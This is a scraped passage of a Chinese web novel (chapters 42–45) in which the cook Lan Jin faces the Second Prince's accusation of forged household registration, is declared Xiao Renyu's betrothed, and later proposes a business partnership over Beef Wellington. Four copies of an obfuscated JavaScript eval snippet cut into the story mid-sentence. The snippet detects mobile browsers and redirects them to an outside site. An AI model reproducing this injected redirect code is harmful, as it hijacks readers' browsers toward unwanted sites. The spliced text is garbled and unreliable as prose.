d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169614|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 不顾热烫，往口中一送。焦脆的鸡皮香香的，吸足了味道。既有荷叶的清新，还有药材的香甜，以及香料的咸鲜。 鸡肉软烂无阻，舌头一抿就要化开，汁水层层叠叠地涌了满嘴。醇香的热意包裹住整个人，连指尖尖都随之温暖了起来。 蓝锦并不在意有人在旁，徒手撕鸡，啃得满嘴油光。一边嚼一边点头，话都说得含糊不清：“太！好！吃！了！你吃呀，你吃呀！” 直吃得眼神涣散，晶润的嘴唇满是鸡汁。蓝锦仍是浑然不觉，颇有一副“人生得此，夫复何求”的意味。 萧仁禹也受她的影响，依言大快朵颐。一阵风卷残云，蓝锦搁下最后一块鸡骨头，满足地眯起眼睛，还懒洋洋地伸了个懒腰。 还意犹未尽地舔了舔嘴唇：“怎么样，跟着我出门有口福吧？” 又想起什么似的：“诶，对了，你要跟我说什么来着？” “我......”萧仁禹又面色薄红，“其实也没什么，我是想问问......我有一个朋友，他想向一个自小与他有婚约的小娘子提亲，该怎么做比较好？” “提亲？这问我干什么？”蓝锦奇道，“全蓝记上下也就罗大娘懂这个。可惜，她留在昭应帮我照管酒楼了，月余才能见一次。” 萧仁禹道：“我......就随口一说。” “也罢，那我也随便说了”，蓝锦满不在乎，“既有婚约，你们这里的人，自然是让家里长辈去张罗。按你们的惯例，不是水到渠成的事吗？他愁苦什么？” “想来是他怕婚事不顺遂......” “那叫他去算命？你们不是有什么掷筊杯，寺庙抽签子，看龟壳，还有烧那什么草。” 蓝锦的思绪，已经飘到孙悟空去五庄观里吃人参果的事。人还未至，镇元大仙就已经知晓有几个人要来，莫非古代大仙们真有什么神通？能看透天作之合也说不准。 “谨受教。”萧仁禹很郑重地向蓝锦一揖礼。 蓝锦爽朗一乐，当他开玩笑，提衣款步下了车。本要去跟伙计们炫耀炫耀，自己又为酒楼省下好多进货成本，却见蓝记品味门口吵嚷嚷的。 “你们......都不懂！我是叫人给害了！都是他们翁家的阴谋，是他们翁家抛女弃子。谁懂我的苦，谁能理解我啊！” 伙计围着酒气熏天的徐仲辞，几个大汉都按他不住。 蓝锦打眼一瞥，醉鬼发酒疯，她见得多了。半醉半醒的，以为人家不敢动他。 “来人，拿麻绳捆了！他醉了走不动，迷了路找不着家。我们蓝记实在热心肠，帮他这一把。” “我们小本生意，也不是做慈善哄人的。就使捆猪结，扁担一扛，送京兆尹府。” 萧仁禹闻言，已经自觉地飞身过去。拿麻袋一罩醉汉的头脸，拎着颈子，一手刀砍晕了。 看客有人似是识得萧仁禹的面孔，叫他眼风一扫，乖乖不说话了。 蓝锦看着四脚朝天，被架在扁担上远去的醉鬼，“哧”地一笑，心满意足地进门了。 42. 川香烤鱼锅 今天蓝锦打算做香辣烤鱼。 冬日里，往常合作的渔民已经收网歇渔，连水产行的商人都挂牌停业了。 也不知萧仁禹从哪里弄来的几尾鳜鱼，水灵鲜活，拎起来还甩着尾，激起一弧线的水。 “想来是大户人家引了地热泉的水，才养得这样好啊！”悟雅正在给小秋扎小揪揪，这些时日，她也狠涨了见识。 蓝锦点头：“若拿去市面上卖，总也得百文一斤。” 所以她打算用五十文一两的川南花椒，百文一两的辣椒去配它。先炸后烤，配上豆皮、豆芽、宽粉和青绿的莴苣片。 热腾腾的烤鱼刚端上桌的时候，萧仁禹便一身轻便黑袍地攀着窗户进来了。 蓝锦还在打趣：“怎么在昭应的时候，成天穿得招蜂引蝶。回了天都，日日都这么低调？” 萧仁禹：“唔......复健一下功夫。” 蓝锦把筷子分给他一副，一双星星眼满是热情，诚邀他来尝。 “这一锅可是下了十足的功夫，光是成本就要几百文。若你想去别家酒肆买到这样品质的，恐怕得一两银子一份呐。” 炭火的焦香萦绕，热闹的锅气使得鲜美的鱼香更诱人几分。赤红麻辣的调料味猛地钻进鼻腔里，叫人觉着要呛不呛的，偏又忍不住咽口水。 鱼皮已经烤得十分焦脆了，那密密挨挨鼓起的小泡，每一个都吸汁得厉害。 鱼身一半浸润在红亮亮的汤汁里，而露出的一半上缀满了辣椒、葱花，和蓝锦花了大价钱的藤椒串。 萧仁禹还在维持着自己端庄优雅的竹子精气质，蓝锦已经率先把筷子伸向烤鱼。 筷尖稍一用力，嫩白的鱼肉扯着焦香的鱼皮一起剥落。额外在浓郁的汤汁里头一泡，立刻着色，红油侵染满身。 入口是鱼肉的爽滑肥嫩，舌头经了一瞬间的反应，才骤然感到一种排山倒海涌来的辛辣麻香。 青藤椒是炸了油的，那股子麻香特别得无可替代。辣椒的辣味又是直截了当地席卷，口腔中的每一处都叫这股鲜香麻辣摄住了。 舌尖的麻味尤其爱驻留，鲜美的汤汁又勾起新一轮口水分泌。这股热意从喉头一路冲到胃里，四肢百骸像炸雷一样渗出细汗。 明明吃得面色赤红，手上的筷子却有自己的想法，根本不见停的。 别说蓝锦，连萧仁禹都已顾不上形象，小口小口、嘶哈嘶哈地喘气。白玉般的脸颊飞红，连眼角都带了一丝潮意。 蓝锦一边忍不住说：“好辣！好香！就是这个味！好吃！” 一边去偷眼去瞧试图挽回矜持形象的萧仁禹。 这人正举着杯子半掩其面，彷佛想用白瓷的冰冷，去给红肿的嘴唇降温。 蓝锦心下好笑，好心地给他端来一碗甜牛奶：“喏，第一次吃这么辣，是会这样的。” 又跟他调笑：“你有好多第一次都交待在我这里！” 指了指小秋跟他解释：“喝这个甜牛乳吧，使杏仁煮过的，不腥。小秋就很爱喝，最近长高了好些呐！我每日歇了工，也爱来一碗。” 萧仁禹听着前面还没什么，到最后这句，赶忙端起来一口干了。呛得咳嗽了好几声，面上飞红还未褪去，就又泛起新红。 二皇子一行浩浩荡荡地进门时，看到这副其乐融融的场景，更是恨得牙痒痒。 “不知天高地厚！” “啪”，他把一摞文书往桌上一撂，“还在这吃着呐，死到临头了都不知道。” 蓝锦努力调解被幼儿园熊孩子打乱吃饭节奏的糟糕心情，换上一副幼师笑脸：“二殿下，午市刚过，晚市也没开张。我们小本生意，哪能比得上您府里的厨房，随叫随有的。” “少跟我打马虎眼！”二皇子分出一根指头，“唰唰唰”地点着一沓纸。 “我都打听清楚了。你，蓝大掌柜，你冒领他人户籍，论律杖责八十，名下财产充公。” 他吊儿郎当地晃荡到蓝锦面前，拿指头对准她的面孔：“知不知道什么叫充公！” “公就是我，我就是公，充公，就是都归了我了。”拇指一指自家。 然后随意地向尾随的侍从一抬下巴：“还不把本殿下的酒楼，换个匾额。看看有什么好东西，都搜出来给我享受享受。” 蓝锦只觉得荒谬可笑。脑中一道闪电，乍然想起自己的户籍—— 确实不是真的。 她心下有片刻的慌张。也不知道小秋父亲的关系硬不硬，纪村长那里，莫非叫人逮到了把柄？ “你们，怎么还不动？”二皇子用鼻孔对人，阴阳怪气道。 小太监才要抬脚，萧仁禹向前一步，先行拦住了他们。 二皇子不耐道：“哎我说萧......” “殿下”，萧仁禹强势打断他，“在下有一事不明，还请殿下指教。缘何这好端端的良民户籍，竟会变成冒领的了？” “嘿，你还别不信。你看，落霞村蓝锦，遭洪灾来投岳明义家。我查了，岳家早就死绝了，甭管他有几个侄女，统统死了。” “怎么，一个死了几年的人，倒好端端地喘着气，在这开上酒楼了？还去太后面前行骗，好大的胆子！” 悟雅急得好像热锅上的蚂蚁，眼下这局面该如何应对。她不顾腕子上沾的红油，一把拉住蓝锦的手。 蓝锦也是一时没了头绪，关键，她不算十分懂这时代的规章，没了底气。 连天都这酒楼，也是直接拿先前过户给她的一家开了张，其余仍旧收分红。她本以为按时上税就可以，谁知竟然有这种隐患。 却见萧仁禹不紧不慢地笑着张口：“原来是这件事。殿下，是你误会了。” “蓝大掌柜是浔阳侯徐家徐仲辞的长女，姓徐名蓝瑾。从前不幸走失，现下已认祖归宗，徐家族谱上都有痕迹。” “这座酒楼，便是徐家长女名下的私产。不是殿下说的，岳家来投亲的侄女。” “想来这名姓相仿也是一段缘分。或许正是因为这个，蓝大掌柜为岳素秋的父亲所救，现在又悉心照料他的遗女，说出去也是一段佳话。” “殿下不分青红皂白，就来污蔑清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175594|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白商贾的名声，把人家的私隐拿出来张扬。叫御史台的大人们知晓，恐怕又是一波弹劾吧。” 二皇子脑袋宕机，他蛰伏了那么久，左琢磨右琢磨，还是一个心眼活泛的幕僚给他出了这个主意。 “殿下，这就叫釜底抽薪。届时她失了酒楼，那生意再好，银钱再多，还不都是殿下囊中之物嘛？” 蓝锦也是一阵懵懵的，徐蓝瑾，谁呀？我吗？ 这酒楼，什么时候是这人名下的了？ 二皇子终于反应了过来，跳脚道：“你放肆，我不信！去，你们，去把浔阳侯一家子都给我弄来，连他家族谱一块！” 不过一盏茶的功夫，徐仲辞和翁十娘哆哆嗦嗦地出现在了厅堂里。 蓝锦心中的疑云越来越盛，谁在牵着她的鼻子走？怎么二皇子和翁十娘，好像不熟识的样子，还是在她面前装的？ “你，你说，这人是不是你家的人？”二皇子凶神恶煞地对着徐仲辞吼。 徐仲辞还在含糊犹豫。禁足了这些时日，还没凑出一分钱的翁十娘率先应了声： “是，是我家的！是徐家的长女，我姐姐翁惠懿所出，亲生的，今年十六岁。” 她积极地夺过侍从捧着的族谱，殷勤地翻到一页，用一种邀功的语气婉媚地说道： “您看呐，这里清清白白地写了：徐蓝瑾，子月十八归宗，未夭折，勘误。” 蓝锦心中惊讶极了，子月十八，那时她连蓝记牛肉火锅都没开起来！怎么认的祖，怎么归的宗？ 有人比她反应更大：“你说什么！”是徐仲辞劈手抢过族谱，不敢相信自己的耳朵，拼命瞪大了眼去看。 这一看才死了心了。确确实实，在夫人翁惠懿的名下，新增了这样一条批注。 徐仲辞满心憋闷，一时恨翁十娘背着他这样胆大妄为，连宗祠都敢开。一时又悔自己没有早了断这件事，现下大庭广众地翻出，他脸上更觉火辣辣的。 还是蓝锦排开众人，伸手接过了那本陈旧泛黄的后册子。指腹摩挲过那一行行小字。 翁惠懿，卒年三十四岁。 这样年轻的女娘啊。 蓝锦心头有股说不清道不明的悲戚，眼里泛酸。她几乎一下就确认了，不管其他人事如何，这个人，她好像真是“我”的母亲。 徐仲辞还在那里：“你......我不，你......” 翁十娘却彷佛抓住了机会，紧紧地攀着蓝锦的臂膀，每一丝笑纹都是讨好： “瑾娘，上回你说的话，娘亲都记得真真的。只是......只是有事绊住了脚，绝不是敷衍你。你，你还记得吧？” 又一副向外人证明母女关系很好的样子，抬头冲四周笑笑，把蓝锦扯得更牢。 蓝锦知道她在说助孕药膳的事，抽了下鼻子，还未回答。 二皇子盯着徐仲辞犹豫的面色，觉得自己还有机会，正想再嚷。 萧仁禹又拨开他，挡在蓝锦的面前，从容道：“还有，蓝大掌柜是我萧仁禹未过门的妻子。订了婚书，换了庚帖的。” 43. 番茄水煮鱼 蓝锦的脑中发出一阵空白的嗡鸣。 清泠沉稳的男声愈放愈大，未过门的夫人，未过门的夫人...... 她疑心自己是否太累，一时听错了。抬眼去看满屋面露愕然的男女，都满眼惊诧，目光在他们二人之间来回扫视。 是翁十娘最先反应过来：“对，这是喜事啊！对对对，婚约是我姐姐一早就定下的，蒋姐姐也满意得紧。原是因为聘礼还未送来，我也没张罗嫁妆单子，这才没有声张。” 她拿手去拧徐仲辞的腰，叫他不要在这种时候再掉面子。 蓝锦满脸都是“等等，认亲和结亲，我这个当事人怎么都不知道”，清清嗓子正要张口否认。 却觉出来，萧仁禹正在身侧拉扯自己的衣角。一双湿漉漉的眼眸里满是哀求。 鬼使神差地，她竟然就住口了。 毕竟也解决了当前的麻烦不是？她不用上交酒楼，也不用被杖责八十大板了。 八十大板，那可是要出人命的。在古代没有消炎药，没有手术刀，伤筋动骨倒是小事。若高热不退，她人还能不能见到明天的日头，还是另说。 蓝锦沉默了，场面达成了一种诡异的平衡。正听见蓝记品味里的漏刻，绵长稳定的水滴声，此时也显得尖锐。 二皇子把那足以吃下一整个鸡蛋的圆嘴好容易闭上，结结巴巴地说：“不是......你，你们......你们什么时候......” 骤然想起妹妹拎着耳朵对他的真·耳提面命，夺过小厮手捧的马鞭往地上狠狠一甩： “这门亲事，我不同意！” 还未等他收回手，萧仁禹便自空中一把握住鞭子的另一头。指节微微发白，胳膊上的肌肉隆起，线条分明。黝黑的鞭子掺在洁白的手腕上，粗粝的手掌涨红。 二皇子往后扯不回，面色憋得好似猪肝。 “你大胆！” 萧仁禹却乍然卸了力：“殿下是养尊处优之人，莫为这些不够典雅的东西，伤了自身羽毛。” 向前一捧，看似恭敬地把马鞭双手奉还。 不等二皇子发作，蓝记品味大门边匆匆跑进来几个小太监。 “殿下，殿下，太后娘娘有请。她老人家在还巢阁设宴，与陛下、皇后娘娘和贵妃娘娘一处，正要考察所有殿下的课业。” 二皇子咬牙。所有人，所有人里就他的课业垫底。文不成，武不就，连他妹妹安华都有个骑射功夫顶着。 来者不善，这次不比父皇单独召见，还能借偏宠撒娇蒙混，皇祖母最厌蠢笨卖娇之人...... 他恨恨地把手里东西一扔，狂踩了几下泄愤。终究想不出别的救兵可以搬，只能硬着头皮自己莽了。 其余人在有条不紊地收拾残局，满眼暗示的翁十娘和失魂落魄的徐仲辞，也叫悟雅一股脑打包送走了。 蓝锦坐在墙边的长凳上，厅堂里的溪流声安宁、平稳，但她的心乱乱的。 她兀自艰难地消化着乍来的爹娘、天降的婚约和......和捉摸不透的眼前人。 萧仁禹本来是在蓝锦周围来回踱步——叫蓝锦看来，一副气定神闲，成竹在胸，一切尽在掌握的样子。 其实他内心慌乱得，像被蜂蜜黏住脚、把自己玩脱了的蚂蚁。他在想，如果把刚才那马鞭留下来多好。他也学那负荆请罪，脱了上衣，叫小娘子抽上几下，是不是能让她消消气？ 事发突然。他本来想徐徐图之，慢慢告诉她的。 这些时日的试探，不是走向还不错吗？小娘子都叫他去算天作之合的签子了。 “最后进来的小太监，也是你的手笔，是不是？” 蓝锦已经逐一盘完了刚才的细节，眼前人模糊的形象又添上新的侧面，故而她有此问。 “抱歉......是，跟着我来的人，辗转知会了一下。宴上刚好有人，只是叫他翻动了一下嘴皮提议。” “你是谁？” 蓝锦的目光凛冽、冷淡、颇具侵略性。是一种被侵犯了领地的小兽，露出獠牙前的警示。 萧仁禹尽可能让语气无尽温柔，力图化了坚冰：“我是天都萧国公府的世子萧仁禹，就是小娘子的娃娃亲夫君。” 蓝锦的瞳孔慢慢放大，翁十娘、萧曼娘、天都酒楼、萱花酿的香料、玉佩...... “你一早就认出我了？你到底瞒了我多久？这么长时间，表面是端方君子，背地里就这样把我当猴耍？” “没有......没有多久......”出于一丝奇怪的自尊心，萧仁禹没有承认全部，“是娘子在昭应开小摊的时候。家母藏了娘子母亲的画像，娘子的卷毛狗是家母带我挑的。” 怪不得，怪不得他老盯着酒钱看，让她以为他要偷狗！ 蓝锦再不掩饰自己的脾气：“现在你说怎么办？你背着我偷偷弄这些，你成心叫我回那个徐家吗？” “不回，不能回”，萧仁禹心虚气短，乖乖道。 蓝锦叫他这副假作乖巧的模样气得肺快炸开：“现在说这些有什么用！你知道还做？你当初做的时候怎么不跟我商量？” “抱歉，是我不对。我对不住娘子，我再不这样了。”萧仁禹低着头，眼角泛出红意。 悟雅早带着伙计们知趣地推开，偌大的厅堂里只回荡着蓝锦的愤怒质问声。 她深叹了一口气，不想再继续陷入这种没有意义的争吵里。 事已至此，先吃饭吧。 她还需要足够的精力去处理，酒楼的归属，户籍的冲突，牵扯了徐家之后的经济问题...... 悟雅贴心地为她端上一份番茄味的水煮鱼片。番茄中的番茄红素，有抗氧化的作用，可以舒缓由压力和愤怒带来的身体反应。 虽然悟雅不懂这些，但她记得自家娘子爱吃酸甜口。 萧仁禹显然也清楚。他把蓝锦盛满辣椒的碗清走，周到地换上一副干净碗筷。手执一把大瓷勺，殷勤地为她盛着鱼片和鱼汤。 酸甜开胃的热汤一入肚腹，每一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180352|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细胞都争先恐后地把自己浸润在这场味觉盛飨里。 气闷的身体被很好地抚慰住了。汹涌霸道、颇有自我风格的浓郁汤汁席卷了口腔，把蓝锦的注意力，从乱七八糟的俗世事务，拉回到对自我本能的关照中。 她太累了，太累了。 陀螺一般地旋转了这么久，看起来好像打拼出了一些根基，结果高高在上的皇室宗亲动一动手指头，她连正常呼吸都受到威胁。 蓝锦素来知道，弱肉强食才是现实，人生地不熟的地方更是如此。当她抓不住其他的，金钱便是唯一的答案。 她现在已经算得上一个小富婆了。名下好几间铺子，还有酒楼分红，自己生意还有扩张的势头。 为何她还是有一种快要被这个陌生的世界吞没的感觉。 小秋过来搂着蓝锦的脖颈：“姐姐，小秋知道你从来不骗人。是那个人不好，他胡说，还想把你从小秋身边夺走。” 蓝锦心头软软的，轻揉着小秋滑腻的脸颊肉：“吓坏了吧？姐姐没事。我们才是一家人，谁也不可能把我们分开。” 小秋没有答话，反而把蓝锦抱得更紧。从她轻轻颤栗的胸口上，蓝锦感觉到了她的紧张。 于是，蓝锦把眼刀扫向罪魁祸首，想用眼神向他传递指责、质问、不理解。 却发现对面的人也是满脸痛疚，显然发现了蓝锦刚才的低落，默默然不知如何开口。 罢了，因着他的独断，今天的意外，倒是因祸得福地迎刃而解了。 蓝锦拍拍小秋的后背，换上一副笑脸：“来，都过去了，现在没什么事了。我们一起吃鱼，这鳜鱼片可新鲜可好吃了。冬日里头，咱们很久没吃过鲜鱼了吧。” 小秋看着蓝锦的笑容，人也跟着放松。“哧溜”一下从她身上滑下来，捧起蓝锦为她特别定做的、印了小鸭子图案的小筷子和小碗： “姐姐做的腌鱼也特别好吃！又鲜又甜，好吃得不得了！” 蓝锦很是受用，又给她的小碗里添上满满一大勺，连肉带汤，白生生，红艳艳的。 灶上的徒弟学艺已成，洁白的鱼片没有一根刺。卧在醇香的酸汤里，像番茄海里的一艘艘小白船，有着流畅圆润的线条。 蓝锦夹起一片来，鱼肉的纹理已叫番茄的红汤着了色，勾勒出健壮肥美的肉瓣。 放进嘴中，酸甜的汤汁刺激唾液的分泌，鱼片的弹嫩调动口腔的感官。 牙齿一碰鱼肉，立时碎了满嘴。像棉花或云朵一样不可捉摸，而绵延不绝的鱼鲜味已经充盈每一个味蕾。 蓝锦渐渐就吃得忘了神，拿小勺子，一口一口地舀着暖热又酸甜可人的鱼汤来喝。 烫烫的，叫她抽紧的肠胃感到无限慰藉。 满足。 蓝锦拿帕子擦擦嘴巴，回味这种暖香。 萧仁禹悄然观察着蓝锦的面色，察觉到逐渐缓和的气氛，终究主动挑起了方才避之不谈的话题： “我想与小娘子谈谈，婚约的事情，可以吗？” 44. 惠灵顿牛排 “我跟你没什么好谈的。”蓝锦冷冷地回答，人蹭地站起身，起手收拾桌上的碗筷。 不提防萧仁禹也忙乱地伸手端盘子，修长冰冷的指节与蓝锦温暖的小指相撞。 蓝锦倒没觉得有什么，只是又满心警惕地瞪了萧仁禹一眼，抬眼便是一张线条冷硬、满面红晕的脸。 萧仁禹感觉到手中的温度，耳廓红得像能滴出血来，衬得肤色愈白。 蓝锦看都没看第二眼，转身回了后厨。 浔阳侯徐家大宅这里又是一番鸡飞狗跳。 “你怎么敢越过我跟外人合作，做出这样的事？你这是乱我徐家血脉，你是我徐家的罪人！” “我哪点做的不对？她不仅是徐家的孩子，还是我翁家的孩子，是我姐姐怀胎十月生的！我去认她哪里有错，就是立时开宗祠请族长，也指摘不到我半点的不是。若是让我母亲知道了，你看你还嚣张到几时！” “你还知不知道自己是徐家的夫人？跑过去攀扯一个外逃女的裙摆，她是能给你金，还是能给你银？好好的家不愿回，还嫌不够丢人的，跑出去做什么酒楼掌柜。她绝不可能弄出什么名堂的！” “丢人，也是你丢人！你丧妻再娶，你弄丢自己骨肉，你对不起亡妻！他们戳的，是你的脊梁骨。” “你还有脸说，若不是你翁家一家老小合起伙来......” “早知我该跟母亲走，剪了头发做姑子，图个干净！父亲靠不住，亲娘靠不住，你也靠不住！钱没有，脸也没有！” 洒扫的小厮婆子已叫远远地遣开，卧房的吵闹声全被一个黑衣人听进了耳里。 他见怪不怪，默默地掏出纸笔： 四日，二人互骂，翁想要钱，徐想要脸，不欢而散。 “就这些？”萧仁禹已经换上另一副沉稳严肃的面孔，浑身的威压叫甲一打了个寒战。 他还是顽强地硬着头皮回答：“都在这里了。” 吵架，禁足，钱、孩子、脸面、怪谁，这是一个刺激又枯燥的盯梢任务。 刺激就刺激在每日都要承受高分贝的任务环境，枯燥就枯燥在没有任何新意，一直循环。 萧仁禹以手指轻叩檀木桌面，他在烦恼。 小娘子好像很不喜欢他背着自己做决定。 可是若不如此，怎么让冰山一样的小娘子，把目光往他身上分上一星半点？ 她对悟雅笑，抚小秋的面颊，连摸着厨刀都比在他身边欢喜得多，他能感觉出来。 尽管那厨刀还是他打的，精心地磨了又磨，生怕有一丝不平滑的地方。 蓝锦却在此刻敲响了别院的大门。 “蓝......蓝娘子，你怎么找到这里来的？” 蓝锦转头一瞥身后的乙一，他把高大的身形尽可能缩成鹌鹑，以期降低自己的存在感。 一切尽在不言中。萧仁禹侧身相让，恭谨地把她请进门。 这是一处清幽的宅舍，远离闹市，后有山岚合抱。院中有梅花树，青竹掩映之间，正盛放着冬日的娇姿。 怪不得他身上总有一种若有若无的梅花香。 “你怎么住在这种地方，萧国公府的世子，不住在萧国公府吗？” “表面上是住在那里，不过有些事情在这里行事比较方便。” 蓝锦收起下巴，刺了他一句：“那是，毕竟你最会背人行事，脚程又快。” 萧仁禹的眼眸又露出那种湿漉漉的神色。 蓝锦便骂不下去了，翻捡起随身的食篮，捧出一个黄澄澄的物什。 饶是萧仁禹在蓝记吃过见过这么多回，也没有品尝过这种美食。 蓝锦掏出眼前人送自己的小刀和小叉子，递给了他：“喏，惠灵顿牛排，像这样切，尝尝。” “咔嚓”，酥皮一被切开，萧仁禹不动如山的面色就变了。 金黄的酥皮裹在外圈，隔着一层鲜红的火腿，一层焦褐的蘑菇酱，包着一大块粉红多汁的嫩牛肉。 蓝锦把一块牛排切成两半，分了一半到萧仁禹面前的碟子里。 牛里脊的筋膜已经被小心地剔除，滑嫩多汁，几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187655|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用牙齿碰就化了。香菇和松茸被剁得碎碎的，因为被炒干了水分，别有一种鲜美香味。 牛肉的每一面都被煎得焦香，焦褐感、鲜美、肉感一起在嘴巴里绽放，酥皮又恰到好处地带来了香甜和碳水的满足。 蘑菇吸味极了，每一种香料和调味都被它吸收殆尽，此刻一股脑抛到人的口中。 蓝锦是用牛油起的酥，层层叠叠，咬起来颇有质感。 萧仁禹完全沉浸在这份无上的享受中，他本以为自己可以偷偷练习厨艺，惊艳自家娘子——当然，他希望那时已经娶到了人家。 然而，蓝大掌柜的想象力和实力，是他拍马也追赶不及的。 大厨，御厨，神厨，仙厨，都不足以形容他家蓝大掌柜。真的如邈晴庵主人所说，是盘古开天以来第一厨！ 甲一和乙一已经无暇顾及其他，一人捧着一块牛排，吃得泪流满面。 跟着大公子，什么时候过过这等好日子！ 怪不得主人成天去蓝记。如果说这才是人吃的饭，那他们以前吃的东西，就是猪食！糟糠！生命体征维持餐！ 蓝锦却已经清清嗓子，一副要说正事的样子。 萧仁禹赶忙擦擦嘴角的酥皮残渣，正色端坐。 “我今天来，一是为了谢你帮我解决了户籍的漏洞。” 若不是他，二皇子这么出其不意来一遭，她的蓝记品味可能真要保不住了。 就算她完全有信心东山再起，也难免元气大伤一阵子。 “虽然你行事专横了一些，可能你们这样的人都习惯了吧，不过我终究承了你的情。这牛排，我可是下了血本的。” 蓝锦满脸骄矜。 萧仁禹暴风式点头，他不是不分好赖的人。 “这第二件事，就是想问问萧世子，有没有兴趣，和我蓝记合作？我可是有许多挣钱的法子，从前没机会施展。” 独断就独断，开玩笑，这么一个散财童子掉马之后，难道要她远远地遁逃？ 大好的人脉和资源放在眼前，她蓝锦才不。 45. 仙家雪媚娘 “蓝娘子请说，在下洗耳恭听。”萧仁禹的声音还是一如既往的冷静自持。 蓝锦排开几张共营方略，挨个与他讲解。 硝石，竹炭，木材......这对他来说不过是动动手指的小事，但小娘子口中的用途与设想却是他闻所未闻的。 还有贵族皇室的供应，军方的渠道，他的未来夫人真是眼光毒辣，丝毫不与他客气。 他很高兴。 屋檐下的冰凌还在滴水，荣宝楼的周大掌柜闲站着，百无聊赖地盯着厮波铲冰。 非是他偷懒，实在是自家门可罗雀，生意都叫什么蓝记品味抢走了。 二皇子还在不断给他们施压，叫他们破解了蓝记精品烤鸭的秘方，非得做个比人家更好吃的，把风头都抢过来。 他自己不知道吗，是他不想吗？他要是有这本事，早就一巴掌狠狠甩到蓝记脸上去了。 “掌柜的，又试了，还是不行。”年资最老的大厨捂着满胳膊的燎泡，悻悻地过来禀报。 “不行不行不行，任你糟蹋了月余了，养你是吃干饭的吗！” 大厨满腹委屈，炉子也是他带着徒弟，吭哧吭哧从零搭的。腌料、火候和工序，来来回回试了不下千次。不是上色斑驳，就是软塌腥臊。 还是弄不成蓝记品味那种脂肥肉满、皮脆多汁的烤鸭。须知她们拿下的回头客数以千计，真的算是百吃不厌。 “可能......可能是鸭子不好。” “不好？我那不是拦了给蓝记送货的车，偷出来几只，给你试了吗？凭什么人家做个菜轻轻松松，你恨不得比那七老八十的童生去考县试还不利索！” 有个眼珠子滴溜溜转的厮波，忖度着大掌柜的神色，上前安慰道： “您别上火！我听说啊，那蓝记自毁长城，赚了点小钱，就白花花的银子撒出去买矿。那是我们饮食行当能染指的生意吗？要不怎么说是穷人乍富，狗窝里搁不住剩食呀。” 大掌柜一弹小指：“果真？” 厮波更来劲了：“真真的啊。见天四处奔走，今日买炭，明日买木。说不准，蓝记就要倒台兑给我们荣宝楼了！” “哼，小娘皮就是干不长久，烟熏火燎的受不住了，呵呵。赚几个钱就想当黑市主，坐着数钱？她也配。” 山里的日光被枝杈遮蔽了去，只漏下几线天。 “蓝姐姐，这边也有。” 蓝锦确实在一片深山盐碱洞穴旁，就是当年萧曼娘私开的那处。萧仁禹发现，这里有硝石的痕迹。 “萧家在军方旧部的联络还在，硝石引子也已经下来了。不过，蓝娘子，为何你需要这么多的硝石？” “山人自有妙用”，蓝锦脸上浮现出促狭的笑容，“哎，你都不知我究竟要用在何处，还这么积极帮我。” “我是娘子未过门的夫婿，我不插手，娘子从他处弄来，我也一样脱不了干系。” 蓝锦白他一眼，就知他要见缝插针。 舞狮的热闹刚一退场，蓝大掌柜就携伙计捧出一条长长的红绸花： “诸位诸位，蓝记玲珑阁试营业三天。你见过腾云驾雾的天宫冰淇淋吗？你见过几丈长的冰雕鲲鹏吗？一切尽在蓝记玲珑阁哟~” 剪彩之后，喧闹的围观众人们看见了蓝锦身后雕梁画栋的三层小楼。 镶金嵌玉的大门口书有一联：“仙气凝玉酪，雕冰盈琼枝。” 走进院子一看，错落有致的花坛之间，一座通体剔透的鲲鹏冰雕傲然耸立。 飘飘乎若乘风飞去，双翼舒展，如云如扇。日光映照间，冰雕浑身浮光跃金。盘旋游走之姿，直把整个院子占了大半。 来人皆叫这种雄浑壮阔的气场震住了。须知这么大一尊冰雕，浑然一体，实在难得一遇！ “掌柜的真是不惜工本呐！就算是在寒冬，这冰，这冰也是稀罕之物啊！” “就是，就是！更何况是这样灵透干净的，一看就不是那启出来的河冰。” “嗳，若不是河冰，怎么能有这么大的？瞧那鳞甲都精雕细琢的，连羽毛都刻得分明，就不算损耗，别处轻易哪有这么整块的。” 蓝锦但笑不语，她知道，从今天起，玲珑阁会身价陡增，“蓝 